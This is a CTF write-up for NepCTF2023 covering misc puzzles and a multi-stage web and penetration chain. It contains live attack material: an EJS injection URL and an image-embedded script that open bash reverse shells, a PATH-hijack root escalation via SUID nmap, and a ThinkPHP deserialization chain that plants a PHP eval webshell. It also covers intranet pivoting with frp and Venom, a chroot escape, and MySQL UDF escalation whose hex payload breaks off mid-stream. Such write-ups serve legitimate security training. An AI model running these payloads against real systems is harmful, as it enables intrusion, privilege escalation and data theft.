【NepCTF2023】Recurrence

【NepCTF2023】Recurrence

MISC

Huffman dancing with AI

年轻人就要年轻,正经人谁自己写代码啊~

Write directly with gptdecompress():

def decompress(input_file, output_file):
    with open(input_file, 'rb') as f:
        # Read frequency information
        num_symbols = ord(f.read(1))
        frequencies = {
    
    }
        for _ in range(num_symbols):
            byte, freq_bytes = f.read(1)[0], f.read(4)
            freq = (freq_bytes[0] << 24) | (freq_bytes[1] << 16) | (freq_bytes[2] << 8) | freq_bytes[3]
            frequencies[byte] = freq

        # Rebuild Huffman tree
        root = build_huffman_tree(frequencies)

        # Read compressed data
        compressed_data = f.read()
        bit_string = ''.join(format(byte, '08b') for byte in compressed_data)

    current_node = root
    decompressed_data = []
    for bit in bit_string:
        if bit == '0':
            current_node = current_node.left
        else:
            current_node = current_node.right

        if current_node.char is not None:
            decompressed_data.append(current_node.char)
            current_node = root

    with open(output_file, 'wb') as f:
        f.write(bytes(decompressed_data))

codes

Are you good at writing code? What is the use of writing! What comes out is the skin tips: the format of the flag is Nepctf{}, and there are environment variables in the flag

After entering, there is a c language interpreter inside, which requires us to obtain environment variables

image-20230814130809551

After testing, some simple command execution functions and keywords are disabled, and there is no way to obtain environment variables through command execution

c language to get environment variables

https://blog.csdn.net/aspnet_lyc/article/details/20548767

In c, the first two parameters argc and argv of the main function are familiar to many people, but the main function also has a third parameter---arge.

The third parameter of main stores system variables, so system environment variables can be obtained through this parameter

#include <stdio.h>
 
int main(int argc, char** argv, char** arge)
{
    
    
	while(*arge)
	{
    
    
		printf("%s\n", *arge++);
	}
	return 0;
}

image-20230814132119081

Tinker playing the piano

Download and get a mid music file, we Audacityopen it with:

image-20230814141500333

After zooming in, you will find that the front part is Morse code, and the back part is hexadecimal number

Morse code decryption:

-.-- --- ..- ... .... --- ..- .-.. -.. ..- ... . - .... .. ... - --- -..- --- .-. ... --- -- . - .... .. -. --.

youshouldusethistoxorsomething

You should XOR with something, obviously, we XOR it after taking out the hexadecimal:

0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17

image-20230814141632784

strange language

Student A picked up a note on the way back to school, can you help her?

Flag format: NepCTF{XX_XX}

hint: Student A's English name is "Atsuko Kagari"

hint:flag format, please add the underline according to your own sense of language

image-20230814141901762

gives the hint:Atsuko Kagari

Let's search directly:

image-20230814142519428

Then I found out that this is an animation: Little Witch Academia, and then I found out that this is the new moon text

image-20230814143312074

Find the comparison on Baidu Tieba:

image-20230814143713302

HEARTISYOURMAGIC

image-20230814143724177

NEPNEPABELIEVING

Spliced ​​together with a sense of language:

NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}

Do you like March 7th too?

March 7th: Yay, finally came to the planet Nepnep, let me see the ongoing Hacker Capture the Flag group chat. ah! Trailblazers, these names look weird. (Puts out his head, leans close to the group name, and smells it lightly) Wow, it's so salty, come and see the pioneers!

Pioneer (U_id): (holding his chin, dawdling for a while, his eyes thoughtful) It seems that we need to go through some 256 processing to get the key we need.

March 7: Then let's think about how to solve this puzzle!

flag format: NepCTF{+m+}

hint: URL is the compressed package password

txt file:

salt_lenth= 10 
key_lenth= 16 
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc

Here is the description according to the title: the group name is very salty, and the salt (length is 10):NepCTF2023

After sha256 processing, we can get the key we need: get the key (key) after launching sha256

Guess we NepCTF2023can get it after sha256 key, take out the first 32 bits:

dd8e671df3882c5be6423cd030bd7cb6

Then AES decryption => hex decryption => base64 decryption:

image-20230814150316871

https://img1.imgtp.com/2023/07/24/yOkXWSJT.png

image-20230814150805533

Star Railway text:

image-20230814150916147

translate:

NepCTF{HRP_always_likes_March_7th}

Ez_BASIC_II

Travel back to 1977 for the Lemon just in time for the release of the world's first mass-produced personal computers. After months of hard work he finally had a computer. He couldn't wait to share the BASIC program he wrote with H3, but because Lemon was not familiar with the BASIC language, he wrote the wrong code segment. A few months later, he returned to the 21st century with a tape containing the program, but can you help him restore the program on the tape?

Get a recording file after downloading

Let's check:世界上第一批大规模生产的个人电脑发售

image-20230814153907747

TRS-80computer

Find an online site to parse the cassette: https://www.my-trs-80.com/cassette/

image-20230814154153052

bring up ascii

res = '''
.........
... °°...
..º...½..
..¿......
..«´°°...
.........
.........
.. .°°...
..ª...½..
..ª...¿..
..ªµ°¸...
..ª......
....°°...
..¨......
..¿......
..¿......
...½°°¸..
.........
..°°°°°..
....¿....
....¿....
....¿....
.........
'''
res = res.split('\n')
for i in res:
    for j in range(len(i)):
        if(i[j] != '.'):
            print('A',end='')
            continue
        print(' ',end='')
    print()

image-20230814160243792

misc reference

https://zysgmzb.club/index.php/archives/262

https://blog.csdn.net/jyttttttt/article/details/132273970

WEB

no_java_checkin

Shiro deserialization, use a tool shuttle: https://github.com/j1anFen/shiro_attack

image-20230814161024002

find privilege escalation

image-20230814161045329

Post Crad For You

Oh my old man, this postcard should be handed over to you! (Postcard style generated by ChatGPT)

Stupid question, it won't work at all

The topic gave the source code:

var path = require('path');
const fs = require('fs');
const crypto = require("crypto");

const express = require('express')
const app = express()
const port = 3000

templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs');
app.set('template', templateDir);

function sleep(milliSeconds){
    
     
    var StartTime =new Date().getTime(); 
    let i = 0;
    while (new Date().getTime() <StartTime+milliSeconds);

}

app.get('/', function(req, res) {
    
    
  return res.sendFile('./index.html', {
    
    root: __dirname});
});

app.get('/create', function(req, res) {
    
    
  let uuid;
  let name = req.query.name ?? '';
  let address = req.query.address ?? '';
  let message = req.query.message ?? '';
  do {
    
    
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`${
      
      templateDir}/${
      
      uuid}.ejs`))

  try {
    
    
	if (name != '' && address != '' && message != '') {
    
    
		let source = ["source", "source1", "source2", "source3"].sort(function(){
    
    
			return 0.5 - Math.random();
		})
		fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){
    
    
			fs.writeFileSync(`${
      
      templateDir}/${
      
      uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));
			sleep(2000);
		})
	} else {
    
    
		res.status(500).send("Params `name` or `address` or `message` empty");
		return;
	}
  } catch(err) {
    
    
    res.status(500).send("Failed to write file");
    return;
  }
  
  return res.redirect(`/page?pageid=${
      
      uuid}&name=${
      
      name}&address=${
      
      address}&message=${
      
      message}`);
});

app.get('/page', (req,res) => {
    
    
	let id = req.query.pageid
	if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${
      
      templateDir}/${
      
      id}.ejs`)) {
    
    
		res.status(404).send("Sorry, no such id")
		return;
	}
    res.render(`${
      
      templateDir}/${
      
      id}.ejs`, req.query);
})

app.listen(port, () => {
    
    
  console.log(`App listening on port ${
      
      port}`)
})

After reading it carefully, you will know that the template engine is used ejs, and /pagethere is no filtering in the route req.query, resulting in ejs template injection

There are cves on the Internet,

Add after url:

&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync("bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261'");&settings[view options][client]=true

like this:

http://nepctf.1cepeak.cn:30398/page?pageid=7416e7e5-a180-4963-87cd-2900836a378c&name=1&address=2&message=1232&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync("bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261'");&settings[view options][client]=true

Then rebound the shell to take the flag

Unique configuration environment

I have been reporting errors before, not parsing Tsinghua source, it seems to be a local dns problem, after a long time, it finally works

Let's start it directly docker-compose up -dand docker pscheck it out:

image-20230814182730317

It was found that it was mapped to port 8888, but it failed to access.

Then use:

docker container inspect id号

Take a look at the container information:

image-20230814182834988

It is found that the ip address is 172.24.0.2port 8888, so nc can connect

But I found that the host outside could not connect, so I did a reverse proxy :

Kali as the client:

# frpc.ini
[common]
server_addr = 192.168.1.102  # win ip
server_port = 7000

[ssh]
type = tcp
local_ip = 172.24.0.2
local_port = 8888
remote_port = 6000 # 映射到win6000端口

Win as the server:

# frps.ini
[common]
bind_port = 7000

Then nc 192.168.1.102 6000you can connect

Alone in the World - Flowers in the Mirror and Moon in the Water

Penetration Combination Questions

hint: environment variable privilege escalation

According to hint, learn first-hand environment variable privilege escalation

Environment variable privilege escalation

https://xz.aliyun.com/t/2767

We found the only suidfile with permissions: nmap

/ $ ls -al /bin/nmap
ls -al /bin/nmap
-rwsr-xr-x    1 root     root        931712 Jul 17 09:46 /bin/nmap

Execute nmap and find that nmap will call ports-alivethe file

/bin $ nmap 123
nmap 123
sh: ports-alive: not found

So we will write /tmpin the directory and add environment variables:/bin/shports-alive/tmp

cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH

Then return to /binthe directory and run it nmap. At this time, because it will be called ports-alive, first go to the environment variable to find /tmpthe directory ports-alive, and the result is executed /bin/sh, get root permission, and then check the flag.

/bin $ ./nmap 123
./nmap 123
/bin # whoami
whoami
root # 提权到root
/bin # cat /flag
cat /flag
flag{
    
    Everything_is_illusory}

Stand alone in the world - break the illusion

Please connect with nc on the first floor of the world, and the flag corresponding to the second floor is the flag in flag_mini

hint: ports-alive is modified to scan the network segment (ip range 0 to 100) to obtain html with basic get packet detection

hint:echo -e “GET / HTTP/1.1\r\nHost: 192.168.200.1\r\n\r\n” | nc xx xx

After we obtained the root authority above, we can use wgetcommands to download files from the server, for example: fscanfrpc

After scanning, we got an intranet ip:192.168.200.1

But we can't access it, we use frpreverse proxy to proxy it to our own server:

[common]
server_addr = ip
server_port = 10001

[ssh]
type = tcp
local_ip = 192.168.200.1
local_port = 80
remote_port = 10002  # 转发到vps的10002端口

Then run on the command line:

./frpc -c frpc.ini &

The server runs:

./frps -c frps.ini &

Then we access port 10002 of the server and successfully reverse proxy

image-20230814210216572


In fact, it doesn't have to be so troublesome. .

let's observe

docker container inspect 668dd14f5748

image-20230815132551460

This docker container 172.24.0.2:8888maps the port to port 32768 of the local machine. Let's check the ip of kali again:192.168.56.129

So directly: nc 192.168.56.129 32768you can connect

Then the normal operation, privilege escalation:

cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH
cd /bin
nmap 123

Then we can use wgetthe command to download one from the server fscanfor intranet detection:

wget http://ip:port/fscan_amd64
mv fscan_amd64 fscan
chmod +x fscan

image-20230815133115851

An intranet host is detected:192.168.200.1

Then we have no way to access it directly, because this is the intranet in the docker container.

After testing, we found that we can get out of the network, so we can set up a socks5 proxy , here we chooseVenom

wgetDownload from the server first using :agent_linux_x64

then run it:

./agent_linux_x64 -rhost ip -rport 1080

Server-side monitoring:

./admin -lport 1080

Next, we choose to connect to node 1, and then use it socks 10002to make a socks5 proxy for port 10002

image-20230815160327584

Then use proxifierthe proxy:

First add a parsing server, fill in your own server ip and port

image-20230815160541299

Then configure the parsing rules:

image-20230815160735385

All requests to access 192.168.200.1 are passed through the server's socks5 proxy

Then you can access directly from the browser:

image-20230815160857443

We found that there may be command execution in this ping, so we grabbed a packet and used it %0ato separate:

image-20230815161030218

The flag is in the root directory, but there is no permission to read it

We found /app/app.pythe file:

from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'

lib_name='./libping.so'
def load_ping_library():
    # 加载共享库
    mylib = ctypes.CDLL(lib_name)
    return mylib

mylib = load_ping_library()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/ping', methods=['POST'])
def ping():
    global mylib
    ip_address = request.form['ip_address']
    result = ctypes.create_string_buffer(4096*2)
    mylib.ping(ip_address.encode('utf-8'), result)
    return result.value.decode('utf-8')

@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
    if request.headers.get('X-Forwarded-For') != '127.0.0.1':
        return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if not allowed_file(file.filename):
        return 'Invalid file format. Only PNG files are allowed.'
    # 限制文件大小为 5KB
    MAX_FILE_SIZE = 5 * 1024
    if len(file.read()) > MAX_FILE_SIZE:
        return 'File too large. Maximum size is 5KB.'
    # 将文件保存到服务器
    file.seek(0)  # 重置文件读取指针
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
    return redirect(url_for('index'))

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)

The place where the file is uploaded does not filter the content of the file

So we can bounce the shell in the uploaded image:

import os
os.popen("bash -c 'bash -i >& /dev/tcp/ip/7788 0>&1'").read()

Upload: (Note that images will be checked for xff)

image-20230815161522348

Then it can be python3executed with the command:

image-20230815161657383

Successfully rebound the shell:

image-20230815161641870

Then check for suspicious processes:ps -ef

image-20230815171721889

Take a look at this file:identity.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
    
    
    int fd=open("/home/ctf/sandbox/",O_RDONLY);
    if(fd<2) {
    
    
        exit(0);
    }
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="NEPCTF_6666";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";
    FILE *new_pip;
    int i;
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    struct rlimit r;
    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);
    memset(key, 0, sizeof(key));
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for (int i = 0; i < 16; i++) 
            sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
    char cmd[100];
    
    mkdir(dir_name, 0755);
    if (chdir(dir_name)==-1) {
    
    
        puts("chdir err, exiting\n");
        exit(1);
    }
    sprintf(cmd,"%s%s","chmod 777 ",dir_name);
    system(cmd);
    mkdir("bin", 0777);
    mkdir("lib", 0777);
    mkdir("lib64", 0777);
    mkdir("lib/x86_64-linux-gnu", 0777);
    system("cp /bin/bash bin/sh");
    system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
    system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
    if (chroot(".") == -1) {
    
    
        puts("chroot err, exiting\n");
        exit(1);
    }
}
void command(int server_socket,int client_socket) {
    
    
    char buf[0x666];
    memset(buf,0,0x666);
    write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
    read(client_socket, buf, 0x10);
    setgid(1001);
    setuid(1001);
    popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
    
    
    int sockfd;
    struct ifreq ifr;
    // Create a socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
    
    
        perror("Socket creation failed");
        return -1;
    }
    // Set the interface name in the ifreq structure
    strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
    ifr.ifr_name[IFNAMSIZ - 1] = '\0';
    // Get the IP address using the SIOCGIFADDR ioctl request
    if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
    
    
        perror("ioctl failed");
        close(sockfd);
        return -1;
    }
    close(sockfd);
    // Convert the binary IP address to a human-readable string
    struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
    strcpy(ip_address, inet_ntoa(addr->sin_addr));
    return 0;
}
int main(int argc, char **argv) {
    
    
    init_dir();
    int flag=1;
    // Server setup
    int server_socket, client_socket;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len = sizeof(client_addr);
    // Create socket
    server_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
    
    
        perror("Socket creation failed");
        exit(0);
    }
    // Set up server address
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(9999);
    // Bind socket to address and port
    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
    
    
        perror("Bind failed");
        exit(0);
    }
    // Listen for incoming connections
    if (listen(server_socket, 1) < 0) {
    
    
        perror("Listen failed");
        exit(0);
    }
    printf("Server is listening on port 9999...\n");
    // Accept connection from client
    client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    if (client_socket < 0) {
    
    
        client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    }
    char client_ip[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
    printf("Client connected from IP: %s\n", client_ip);
    char ip_address[INET_ADDRSTRLEN];
    const char *interface_name = "eth0";
    if (get_ip_address(interface_name, ip_address) == 0) {
    
    
        printf("IP address of eth0: %s\n", ip_address);
    } else {
    
    
        printf("Failed to get the IP address of eth0.\n");
    }
    while(flag) {
    
    
        if(strcmp(client_ip,ip_address)) {
    
    
            send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
            exit(0);
        } else {
    
    
            flag=0;
        }
    }
    command(server_socket,client_socket);
    return 0;
}

I don't understand here,

image-20230815171820218

This part of the file descriptor is not closed, the file stream is not closed, so it is possible to connect to the parent process, openat、fschmodthese two built-in functions

Then write a c script like this:

#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    
    
    const char* filename = "../../../../flag_mini";
    int fd = openat(3, filename, O_CREAT | O_WRONLY);
    if (fd == -1) {
    
    
        // 处理打开文件失败的情况
        printf("1");
    }

    // 更改文件权限为 777
    if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
    
    
        // 处理更改文件权限失败的情况
        printf("2");
    }

    // 使用新文件进行操作...

    return 0;
}

We can compile this c file by ourselves, and then nc into identity to run as ctf user, so that we can change the permission of flag_mini to 777, and we can read

We can write it in the form of base64:

echo I2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWh+S7tuadg+mZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9v+eUqOaWsOaWh+S7tui/m+ihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9|base64 -d >poc.c

Compile it with gcc:

gcc poc.c -o poc

Then switch to:/home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e

Execute nc, let's check the ip:

image-20230815172313507

We need to connect to its port 9999 (specified in the identity file)

image-20230815172412264

Then we read the flag

image-20230815172432667

Summarize

After reproducing this question, I learned a lot about agents in the intranet, and learned how to venomconstruct socks5agents with tools.

Use proxifiera tool to penetrate the intranet. This tool allows the local machine to use a proxy when accessing the specified ip, and can access the intranet. It does not need to open the tool in a way similar to: It is a bit like adding a proxychainsproxy to the system

Unrivaled in the world-breaking the trial_crowned king

In http://192.168.200.1/index.phpthere is a web service:

image-20230815185147525

Yes ZengCMS, there is a vulnerability in this cms:

image-20230815185436314

Let's download the source code, use seayaudit, and search: unser:

image-20230815185810858

Take a look at this file:

image-20230815190337505

We found that the cookie will be deserialized, and we saw earlier that this cms is based Thinkphp6.0.xon

We can find a chain based on thinkphp6

But this cookie will be think_decrypt()decrypted by the function

image-20230815193940822

So our cookie needs to pass first: think_encrypt()encrypt it

function think_encrypt($string, $key = '', $expiry = 0)
{
    
    
    // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
    $ckey_length = 0;
    // 密匙
    $key = sha1(md5(empty($key) ? get_one_cache_config('WEB_DATA_AUTH_KEY') : $key));
    // 密匙a会参与加解密
    $keya = sha1(md5(substr($key, 0, 16)));
    // 密匙b会用来做数据完整性验证
    $keyb = sha1(md5(substr($key, 16, 16)));
    // 密匙c用于变化生成的密文
    $keyc = $ckey_length ? substr(md5(microtime()), -$ckey_length) : '';
    // 参与运算的密匙
    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);
    // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
    // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
    $string = sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    // 产生密匙簿
    for ($i = 0; $i <= 255; $i++) {
    
    
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度
    for ($j = $i = 0; $i < 256; $i++) {
    
    
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    // 核心加解密部分
    for ($a = $j = $i = 0; $i < $string_length; $i++) {
    
    
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        // 从密匙簿得出密匙进行异或,再转成字符
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    return $keyc . str_replace(array('+', '/', '='), array('-', '_', ''), base64_encode($result));
}

It's a little troublesome, we can build one directly, and then call this function:

We pop up an encrypted cookie on the homepage:

image-20230815194941726

The encrypted script is as follows:

<?php
namespace League\Flysystem\Cached\Storage{
    
    
    use League\Flysystem\Filesystem;
    abstract class AbstractCache{
    
    
        protected $autosave = false;
    }
    class Adapter extends AbstractCache
    {
    
    
        protected $adapter;
        protected $file;

        public function __construct(){
    
    
            $this->complete = "*/<?php phpinfo();eval(\$_POST[1]);?>";
            $this->expire = "yydsy4";
            $this->adapter = new \League\Flysystem\Adapter\Local();
            $this->file = "pop.php";
        }

    }
}

namespace League\Flysystem\Adapter{
    
    
    class Local extends AbstractAdapter{
    
    

    }
    abstract class AbstractAdapter{
    
    
        protected $pathPrefix;
        public function __construct(){
    
    
            $this->pathPrefix = "./";
        }
    }
}
namespace {
    
    

    use League\Flysystem\Cached\Storage\Adapter;
    $a = new Adapter();
    echo base64_encode(serialize($a));
}

The script writes a Trojan horse in the root directory

If it’s too troublesome, I won’t do it, and manually add pop.php to the root directory

image-20230815204340034

Ant sword connection:

image-20230815204721535

The second flag is for the mysql user

image-20230815204812858

Check out the database information:

image-20230815204942207

Found the account password of the root authority of the database, but our current user is only www-datathe authority, it is impossible to read the flag, so we need to useUDF提权

UDF (User-Defined Function) privilege escalation refers to the method of elevating privileges in the MySQL database by writing a custom function (UDF) in the MySQL database

We only need to write a plugin into it, but we can’t write it in directly, because the plugin directory has no permission to write:

image-20230815213424531

But since we currently have a database user with root privileges, we can select into dumpfilewrite using the form:

When executing queries as root SELECT INTO DUMPFILE, it bypasses file permission checks and allows query results to be written to any valid file path, even if the path is not writable to the mysql user.

Note that doing this as root requires extra care as it bypasses some security restrictions. Make sure only trusted users are allowed to do this with root privileges, and only specify safe file paths.

mysql -uroot -p456456zxc+123666 -e "SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c000000000000000000000048172000000000000700